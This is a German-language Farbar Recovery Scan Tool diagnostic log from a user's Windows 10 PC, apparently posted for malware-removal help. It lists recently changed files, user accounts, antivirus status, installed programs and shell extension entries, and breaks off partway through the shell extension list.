2021-04-14 12:28 - 2019-02-10 01:45 - 000000000 ____D C:\ProgramData\Mozilla
2021-04-14 12:27 - 2017-02-25 17:57 - 000000000 ____D C:\Users\Jules\AppData\LocalLow\Mozilla
2021-04-14 12:24 - 2017-06-13 07:41 - 000000000 ____D C:\ProgramData\NVIDIA
2021-04-14 12:24 - 2017-04-10 20:12 - 000000000 ____D C:\Users\Jules\AppData\Local\Downloaded Installations
2021-04-14 12:23 - 2019-12-07 11:14 - 000000000 ____D C:\WINDOWS\AppReadiness
2021-04-14 12:23 - 2017-08-05 15:42 - 000000000 ____D C:\Program Files\Emsisoft Anti-Malware
2021-04-14 12:20 - 2020-08-10 21:25 - 000003508 _____ C:\WINDOWS\system32\Tasks\DashlaneUpgradeCheck
2021-04-14 12:17 - 2020-08-10 21:25 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
2021-04-14 12:17 - 2020-08-10 21:18 - 000008192 ___SH C:\DumpStack.log.tmp
2021-04-14 12:17 - 2019-12-07 11:14 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2021-04-14 12:17 - 2019-12-07 11:03 - 001048576 _____ C:\WINDOWS\system32\config\BBI
2021-04-14 12:17 - 2017-02-25 10:45 - 000000000 __SHD C:\Users\Jules\IntelGraphicsProfiles
2021-04-14 12:16 - 2020-08-10 21:18 - 000000000 ____D C:\Users\Jules
2021-04-14 07:45 - 2017-02-26 11:13 - 000000000 ____D C:\Users\Jules\AppData\Local\Battle.net
2021-04-14 07:38 - 2020-06-28 22:55 - 000002423 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk
2021-04-14 07:38 - 2019-12-07 11:14 - 000000000 ___HD C:\Program Files\WindowsApps
2021-04-14 07:37 - 2017-02-25 10:48 - 000000000 ___RD C:\Users\Jules\OneDrive
2021-04-13 21:57 - 2020-08-10 21:21 - 001723002 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2021-04-13 21:57 - 2019-12-07 16:50 - 000744968 _____ C:\WINDOWS\system32\perfh007.dat
2021-04-13 21:57 - 2019-12-07 16:50 - 000150354 _____ C:\WINDOWS\system32\perfc007.dat
2021-04-13 21:57 - 2019-12-07 11:13 - 000000000 ____D C:\WINDOWS\INF
2021-04-13 21:49 - 2017-04-02 19:18 - 000000000 ____D C:\Users\Jules\AppData\LocalLow\Temp
2021-04-13 21:49 - 2016-12-27 13:07 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2021-04-13 21:46 - 2019-12-07 11:14 - 000000000 ___HD C:\WINDOWS\ELAMBKUP
2021-04-13 20:44 - 2020-08-10 21:18 - 000000000 ____D C:\WINDOWS\system32\SleepStudy
2021-04-13 17:50 - 2017-11-02 05:50 - 000000000 ____D C:\Users\Jules\AppData\Local\Packages
2021-04-12 22:32 - 2020-08-10 21:25 - 000003700 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA
2021-04-12 22:32 - 2020-08-10 21:25 - 000003576 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore
2021-04-08 23:34 - 2019-12-16 19:26 - 000000000 ____D C:\ProgramData\Origin
2021-04-08 08:10 - 2016-12-27 11:54 - 000000000 ____D C:\Program Files (x86)\Microsoft Office
2021-04-07 12:57 - 2018-09-14 00:14 - 000000000 ____D C:\Users\Jules\AppData\Local\PlaceholderTileLogoFolder
2021-04-02 11:55 - 2020-06-12 21:21 - 000000000 ____D C:\Program Files (x86)\Dropbox
2021-03-31 01:17 - 2019-09-01 16:45 - 000000000 ____D C:\Users\Jules\AppData\Roaming\Sky Go
2021-03-28 22:46 - 2016-12-27 13:07 - 000001236 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox.lnk
2021-03-27 12:21 - 2020-12-22 20:03 - 000000000 ____D C:\Users\Jules\AppData\Roaming\WhatsApp
2021-03-27 12:21 - 2020-12-22 20:03 - 000000000 ____D C:\Users\Jules\AppData\Local\WhatsApp
2021-03-17 07:57 - 2017-02-26 11:50 - 000000000 ____D C:\Users\Jules\AppData\Roaming\Spotify
2021-03-17 07:57 - 2017-02-26 11:50 - 000000000 ____D C:\Users\Jules\AppData\Local\Spotify
==================== SigCheck ============================
(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
==================== Ende von FRST.txt ========================
Code:
ATTFilter Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 11-04-2021 durchgeführt von Jules (14-04-2021 12:29:57) Gestartet von D:\Downloads Windows 10 Home Version 2004 19041.867 (X64) (2020-08-10 19:25:37) Start-Modus: Normal ========================================================== ==================== Konten: ============================= Administrator (S-1-5-21-3625877240-3343899472-1711248771-500 - Administrator - Disabled) DefaultAccount (S-1-5-21-3625877240-3343899472-1711248771-503 - Limited - Disabled) Gast (S-1-5-21-3625877240-3343899472-1711248771-501 - Limited - Disabled) Jules (S-1-5-21-3625877240-3343899472-1711248771-1001 - Administrator - Enabled) => C:\Users\Jules WDAGUtilityAccount (S-1-5-21-3625877240-3343899472-1711248771-504 - Limited - Disabled) ==================== Sicherheits-Center ======================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.) AV: Emsisoft Anti-Malware Home (Enabled - Up to date) {5FD8BF8F-F242-6153-61B5-8FF333E8736B} AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} AV: Malwarebytes (Enabled - Up to date) {23007AD3-69FE-687C-2629-D584AFFAF72B} AS: Emsisoft Anti-Malware (Enabled - Up to date) {E4B95E6B-D478-6EDD-5B05-B481486F39D6} AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} ==================== Installierte Programme ====================== (Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.) abFiles (HKLM-x32\...\{13885028-098C-4799-9B71-27DAC96502D5}) (Version: 2.07.2004 - Acer Incorporated) abPhoto (HKLM-x32\...\{B5AD89F2-03D3-4206-8487-018298007DD0}) (Version: 4.00.2001.1 - Acer Incorporated) Acer Care Center (HKLM\...\{1AF41E84-3408-499A-8C93-8891F0612719}) (Version: 2.00.3024 - Acer Incorporated) Acer Configuration Manager (HKLM-x32\...\{414D554E-4453-454E-0201-000000016258}) (Version: 2.1.16258 - Acer) Acer Jumpstart (HKLM-x32\...\{4B92BFBE-917D-4FA1-97E9-DB9D91286E90}) (Version: 3.0.18135.100 - Acer) Acer Portal (HKLM-x32\...\{A5AD0B17-F34D-49BE-A157-C8B3D52ACD13}) (Version: 3.12.2006 - Acer Incorporated) Acer Quick Access (HKLM\...\{8BBF04F1-C68A-441C-B5EF-446EE9960EAF}) (Version: 2.01.3007 - Acer Incorporated) Acer UEIP Framework (HKLM\...\{12A718F2-2357-4D41-9E1F-18583A4745F7}) (Version: 3.02.3001 - Acer Incorporated) Adobe Acrobat Reader DC - Deutsch (HKLM-x32\...\{AC76BA86-7AD7-1031-7B44-AC0F074E4100}) (Version: 21.001.20145 - Adobe Systems Incorporated) Anno 1800 (HKLM-x32\...\Uplay Install 4553) (Version: - Ubisoft) ANNO 2070 (HKLM-x32\...\{B48E264C-C8CD-4617-B0BE-46E977BAD694}) (Version: 1.0.0.0 - Ubisoft) AOP Framework (HKLM-x32\...\{4A37A114-702F-4055-A4B6-16571D4A5353}) (Version: 3.25.2001.0 - Acer Incorporated) Battle.net (HKLM-x32\...\Battle.net) (Version: - Blizzard Entertainment) Bethesda.net Launcher (HKLM-x32\...\{3448917E-E4FE-4E30-9502-9FD52EABB6F5}_is1) (Version: 1.47.11 - Bethesda Softworks) Dashlane Upgrade Service (HKLM-x32\...\Dashlane Upgrade Service) (Version: 2.1.17.0 - Dashlane, Inc.) Dell Peripheral Manager (HKLM\...\Dell Peripheral Manager) (Version: 1.3.0 - Dell Inc.) Diablo III (HKLM-x32\...\Diablo III) (Version: - Blizzard Entertainment) Discord (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Discord) (Version: 0.0.306 - Discord Inc.) DriverSetupUtility (HKLM\...\{2B51C83A-465D-4EA9-9CDC-1ED95ED09AC6}) (Version: 1.00.3015 - Acer Incorporated) Dropbox (HKLM-x32\...\Dropbox) (Version: 119.4.1772 - Dropbox, Inc.) Dropbox Update Helper (HKLM-x32\...\{099218A5-A723-43DC-8DB5-6173656A1E94}) (Version: 1.3.415.1 - Dropbox, Inc.) Hidden Emsisoft Anti-Malware (HKLM\...\{5502032C-88C1-4303-99FE-B5CBD7684CEA}_is1) (Version: 2017.7 - Emsisoft Ltd.) Epic Games Launcher (HKLM-x32\...\{9543ED52-29C3-46E1-9DF1-87609025150B}) (Version: 1.1.229.0 - Epic Games, Inc.) Epic Games Launcher Prerequisites (x64) (HKLM\...\{F9C5C994-F6B9-4D75-B3E7-AD01B84073E9}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden Greenshot 1.2.10.6 (HKLM\...\Greenshot_is1) (Version: 1.2.10.6 - Greenshot) Hearthstone (HKLM-x32\...\Hearthstone) (Version: - Blizzard Entertainment) Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 11.5.0.1015 - Intel Corporation) Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 21.20.16.4534 - Intel Corporation) Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 15.0.0.1039 - Intel Corporation) Intel(R) Serial IO (HKLM\...\{9FD91C5C-44AE-4D9D-85BE-AE52816B0294}) (Version: 30.63.1620.3 - Intel Corporation) Intel® Chipsatz-Gerätesoftware (HKLM-x32\...\{61a0f1f5-c77e-4992-ba85-029f93cd8d18}) (Version: 10.1.1.27 - Intel(R) Corporation) Hidden Intel® Security Assist (HKLM-x32\...\{8B08DDA1-FDE7-4897-8EB6-E0B048A6D88B}) (Version: 1.0.1.618 - Intel Corporation) Launcher Prerequisites (x64) (HKLM-x32\...\{43a03b9c-4770-409c-a999-587b60700b63}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden Launcher Prerequisites (x64) (HKLM-x32\...\{c6c5a357-c7ca-4a5f-9789-3bb1af579253}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden LibreOffice 5.3.2.2 (HKLM\...\{682C33C0-5D61-48F0-B0A2-1A504F4C5905}) (Version: 5.3.2.2 - The Document Foundation) Malwarebytes version 4.3.0.98 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 4.3.0.98 - Malwarebytes) Microsoft 365 - de-de (HKLM\...\O365HomePremRetail - de-de) (Version: 16.0.13901.20336 - Microsoft Corporation) Microsoft ASP.NET MVC 4 Runtime (HKLM-x32\...\{3FE312D5-B862-40CE-8E4E-A6D8ABF62736}) (Version: 4.0.40804.0 - Microsoft Corporation) Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 89.0.774.76 - Microsoft Corporation) Microsoft Edge WebView2-Laufzeit (HKLM-x32\...\Microsoft EdgeWebView) (Version: 89.0.774.76 - Microsoft Corporation) Microsoft OneDrive (HKLM-x32\...\OneDriveSetup.exe) (Version: 21.052.0314.0001 - Microsoft Corporation) Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50918.0 - Microsoft Corporation) Microsoft Update Health Tools (HKLM\...\{99FAF70F-9B61-4AB0-9EC0-B31F98FFDC4A}) (Version: 2.75.0.0 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022 (HKLM-x32\...\{FF66E9F6-83E7-3A3E-AF14-8DE9A809A6A4}) (Version: 9.0.21022 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation) Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation) Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation) Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation) Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation) Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.22.27821 (HKLM-x32\...\{6361b579-2795-4886-b2a8-53d5239b6452}) (Version: 14.22.27821.0 - Microsoft Corporation) Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.22.27821 (HKLM-x32\...\{5bfc1380-fd35-4b85-9715-7351535d077e}) (Version: 14.22.27821.0 - Microsoft Corporation) Mozilla Firefox 87.0 (x64 de) (HKLM\...\Mozilla Firefox 87.0 (x64 de)) (Version: 87.0 - Mozilla) Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 87.0.0.7747 - Mozilla) Mozilla Thunderbird 45.8.0 (x86 de) (HKLM-x32\...\Mozilla Thunderbird 45.8.0 (x86 de)) (Version: 45.8.0 - Mozilla) Mozilla Thunderbird 78.9.0 (x86 de) (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Mozilla Thunderbird 78.9.0 (x86 de)) (Version: 78.9.0 - Mozilla) NVIDIA GeForce Experience 2.11.4.1 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 2.11.4.1 - NVIDIA Corporation) NVIDIA PhysX-Systemsoftware 9.15.0428 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.15.0428 - NVIDIA Corporation) Office 16 Click-to-Run Extensibility Component (HKLM-x32\...\{90160000-008C-0000-0000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Office 16 Click-to-Run Extensibility Component 64-bit Registration (HKLM\...\{90160000-00DD-0000-1000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Office 16 Click-to-Run Licensing Component (HKLM\...\{90160000-008F-0000-1000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM-x32\...\{90160000-008C-0407-0000-0000000FF1CE}) (Version: 16.0.13901.20336 - Microsoft Corporation) Hidden Origin (HKLM-x32\...\Origin) (Version: 10.5.96.47512 - Electronic Arts, Inc.) Overwatch (HKLM-x32\...\Overwatch) (Version: - Blizzard Entertainment) PDF Architect 7 (HKLM-x32\...\PDF Architect 7) (Version: 7.0.24.1546 - pdfforge GmbH) PDF Architect 7 Create Module (HKLM\...\{B600CC13-8F68-4D44-8867-93490894FAE5}) (Version: 7.1.14.4969 - pdfforge GmbH) Hidden PDF Architect 7 Edit Module (HKLM\...\{BA2C2671-B379-4101-A21C-4C549671FC8D}) (Version: 7.1.14.4969 - pdfforge GmbH) Hidden PDF Architect 7 View Module (HKLM\...\{E947A304-6110-4CFE-98AD-E6909072E87D}) (Version: 7.1.14.4969 - pdfforge GmbH) Hidden PDFsam Basic (HKLM\...\{7784962D-70CC-4C26-B020-FF05D4280846}) (Version: 4.2.2.0 - Sober Lemur S.a.s. di Vacondio Andrea) Qualcomm Atheros 11ac Wireless LAN Installer (HKLM-x32\...\{20CA507E-24AA-4741-87CF-CC1B250790B7}) (Version: 11.0.10299 - Qualcomm Atheros) Qualcomm Atheros Bluetooth Installer (64) (HKLM\...\{628988B4-3FA5-4EA6-BAA3-DA640F6718BD}) (Version: 10.0.0.191 - Qualcomm Atheros) RAGE 2 (HKLM-x32\...\RAGE 2) (Version: - Bethesda Softworks) Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 10.0.10586.21287 - Realtek Semiconduct Corp.) Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 10.6.1001.2015 - Realtek) Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7836 - Realtek Semiconductor Corp.) Rockstar Games Launcher (HKLM-x32\...\Rockstar Games Launcher) (Version: 1.0.33.319 - Rockstar Games) Rockstar Games Social Club (HKLM-x32\...\Rockstar Games Social Club) (Version: 2.0.7.5 - Rockstar Games) Sky Go 21.2.2.0 (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\com.bskyb.skygoplayer_is1) (Version: 21.2.2.0 - Sky) Spotify (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Spotify) (Version: 1.1.53.608.g7ed9c03a - Spotify AB) Spotify Weblink (HKLM-x32\...\{8CADF0CB-E834-4019-9B11-B84E051F2A8E}) (Version: 1.16.1210 - Acer) STAR WARS Jedi - Fallen Order™ (HKLM-x32\...\{D00A89F1-2D8C-4589-B1D1-73A6544E3B1F}) (Version: 1.0.9.0 - Electronic Arts, Inc.) Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation) Ubisoft Connect (HKLM-x32\...\Uplay) (Version: 28.1 - Ubisoft) Update for Windows 10 for x64-based Systems (KB4023057) (HKLM\...\{16AD6161-2E47-4BF1-AA77-0946EFE93E08}) (Version: 2.61.0.0 - Microsoft Corporation) Vulkan Run Time Libraries 1.0.26.0 (HKLM\...\VulkanRT1.0.26.0) (Version: 1.0.26.0 - LunarG, Inc.) WhatsApp (HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\WhatsApp) (Version: 2.2102.9 - WhatsApp) Windows 10-Upgrade-Assistent (HKLM-x32\...\{D5C69738-B486-402E-85AC-2456D98A64E4}) (Version: 1.4.9200.17376 - Microsoft Corporation) Packages: ========= Facebook -> C:\Program Files\WindowsApps\Facebook.Facebook_186.2619.19263.0_x86__8xx8rvfyw5nnt [2019-10-24] (Facebook Inc) Media Engine-Add-On für Fotos -> C:\Program Files\WindowsApps\Microsoft.Photos.MediaEngineDLC_1.0.0.0_x64__8wekyb3d8bbwe [2019-12-30] (Microsoft Corporation) Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x64__8wekyb3d8bbwe [2019-02-12] (Microsoft Corporation) [MS Ad] Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x86__8wekyb3d8bbwe [2019-02-12] (Microsoft Corporation) [MS Ad] Microsoft Solitaire Collection -> C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.7.10142.0_x64__8wekyb3d8bbwe [2020-10-25] (Microsoft Studios) [MS Ad] MSN Sport -> C:\Program Files\WindowsApps\Microsoft.BingSports_4.36.20714.0_x64__8wekyb3d8bbwe [2020-03-26] (Microsoft Corporation) [MS Ad] Netflix -> C:\Program Files\WindowsApps\4DF9E0F8.Netflix_6.97.752.0_x64__mcm4njqhnhss8 [2020-07-17] (Netflix, Inc.) Twitter -> C:\Program Files\WindowsApps\9E2F88E3.Twitter_6.1.4.1000_neutral__wgeqdkkx372wm [2018-11-21] (Twitter Inc.) ==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ============== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) CustomCLSID: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001_Classes\CLSID\{47E6DCAF-41F8-441C-BD0E-A50D5FE6C4D1}\localserver32 -> "C:\Users\Jules\AppData\Local\Microsoft\OneDrive\21.030.0211.0002\Microsoft.Nucleus.exe" => Keine Datei CustomCLSID: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001_Classes\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\localserver32 -> "C:\Users\Jules\AppData\Local\Microsoft\OneDrive\21.030.0211.0002\Microsoft.Nucleus.exe" => Keine Datei CustomCLSID: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001_Classes\CLSID\{E31EA727-12ED-4702-820C-4B6445F28E1A} -> [Dropbox] => C:\Users\Jules\Dropbox [2020-06-12 21:23] ShellIconOverlayIdentifiers: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ DropboxExt01] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt02] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt03] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt04] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt05] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt06] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt07] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt08] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt09] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt10] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ ACloudSynced] -> {5CCE71FA-9F61-4F24-9CD1-98D819B40D68} => C:\Program Files (x86)\Acer\shellext\x64\shellext_win.dll [2017-10-02] (Acer Incorporated -> Acer Incorporated) ShellIconOverlayIdentifiers: [ ACloudSyncing] -> {C1E1456F-C2D8-4C96-870D-35F1E13941EE} => C:\Program Files (x86)\Acer\shellext\x64\shellext_win.dll [2017-10-02] (Acer Incorporated -> Acer Incorporated) ShellIconOverlayIdentifiers: [ ACloudToBeSynced] -> {307523FA-DDC0-4068-983F-2A6B34627744} => C:\Program Files (x86)\Acer\shellext\x64\shellext_win.dll [2017-10-02] (Acer Incorporated -> Acer Incorporated) ShellIconOverlayIdentifiers-x32: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ DropboxExt01] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt02] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt03] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt04] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt05] -> 